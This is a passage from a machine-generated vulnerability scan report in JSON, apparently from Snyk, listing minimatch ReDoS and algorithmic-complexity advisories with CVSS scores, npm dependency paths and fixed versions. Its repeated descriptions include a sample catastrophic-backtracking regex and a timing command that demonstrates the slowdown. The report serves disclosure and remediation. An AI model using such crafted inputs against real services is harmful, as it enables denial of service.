`ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": 